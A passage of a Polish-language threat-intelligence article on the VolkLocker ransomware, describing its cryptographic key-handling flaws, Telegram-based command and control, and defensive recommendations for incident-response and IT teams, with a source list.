Praktyczne konsekwencje / ryzyko

  • Dla ofiar: Istnieje realna szansa na odzyskanie danych bez płatności dzięki błędom w obsłudze kluczy. Niemniej wczesne warianty mogły już zaszyfrować zasoby – konieczna jest triage i analiza pamięci/artefaktów.
  • Dla SOC/IR: Telegram-based C2 i „łatwy onboarding” afiliantów zwiększają liczbę incydentów miernej jakości, ale o dużej częstotliwości. Zespół musi przygotować szybkie playbooki pod Go-ransomware i detekcje dla ruchu/artefaktów Telegrama.
  • Ewolucja zagrożenia: Takie błędy zwykle są szybko poprawiane – okno „darmowej dekryptacji” może być krótkie w kolejnych buildach. (Wniosek inferencyjny na bazie dotychczasowych kampanii RaaS.)

Rekomendacje operacyjne / co zrobić teraz

Dla zespołów IR/SOC:

  1. Zabezpiecz artefakty: zrzuty pamięci, %TEMP%, katalogi robocze malware – szukaj hex-klucza i plików tymczasowych pozostawionych przez VolkLocker.
  2. Blokuj Telegram C2 (domeny/API, ruch wychodzący do botów) tam, gdzie to możliwe politycznie i operacyjnie.
  3. Sygnatury i YARA/EDR: zastosuj detekcje opublikowane przez badaczy (reguły pod Go, AES-GCM, ścieżki %TEMP%, artefakty procesu).
  4. Sprawdź dostępność dekryptorów w serwisach NoMoreRansom i Emsisoft – nawet jeśli dedykatora dla VolkLocker jeszcze nie ma, pojawienie się publicznego klucza może to zmienić.

Dla zespołów bezpieczeństwa/IT:

  • Segmentacja i kopie zapasowe (3-2-1, odseparowane, regularnie testowane na odtwarzanie).
  • Zasady egress ograniczające komunikację do platform komunikatorów (Telegram) z serwerów produkcyjnych.
  • Hardening stacji/serwerów i aktualizacje; monitorowanie tworzenia nietypowych plików w %TEMP%.
  • Playbook „free decrypt”: jeśli triage wskaże hard-coded key/plik z kluczem – procedura odzysku z minimalnym RTO/RPO. (Wniosek operacyjny)

Różnice / porównania z innymi przypadkami

  • Błędy klucza w RaaS zdarzały się wcześniej (np. w młodych rodzinach ransomware), ale jednoczesne hard-codowanie klucza i pozostawianie go w plikach tymczasowych to rzadkie, podwójne potknięcie zwiększające szanse na odzysk. W porównaniu z dojrzałymi rodzinami (LockBit/BlackCat) poziom OPSEC w VolkLocker jest istotnie niższy. (Wniosek porównawczy oparty na źródłach technicznych i praktyce branżowej)

Podsumowanie / kluczowe wnioski

  • CyberVolk wraca z RaaS, ale VolkLocker cierpi na poważne wady kryptograficzne, co tworzy okazję do darmowej dekryptacji w obecnych wersjach.
  • Automatyzacja przez Telegram obniża próg wejścia dla afiliantów i może zwiększyć szum incydentów – przygotuj detekcje i blokady.
  • Okno okazji może się zamknąć wraz z poprawkami – działaj szybko: artefakty, pamięć, klucze, testy dekryptorów. (Wniosek operacyjny)

Źródła / bibliografia

  1. BleepingComputer – „CyberVolk’s ransomware debut stumbles on cryptography weakness”, 13.12.2025. (BleepingComputer)
  2. SentinelOne – „CyberVolk Returns | Flawed VolkLocker…”, analiza techniczna (2025). (SentinelOne)
  3. SOC Prime – „VolkLocker ransomware detection” (Windows/Linux, hard-coded AES-GCM). (SOC Prime)
  4. SentinelOne – „CyberVolk: A deep dive into the hacktivists…” (kontekst 2024). (SentinelOne)
  5. NoMoreRansom / Emsisoft – katalogi narzędzi dekryptujących (ogólne wytyczne i potencjalne aktualizacje). (nomoreransom.org)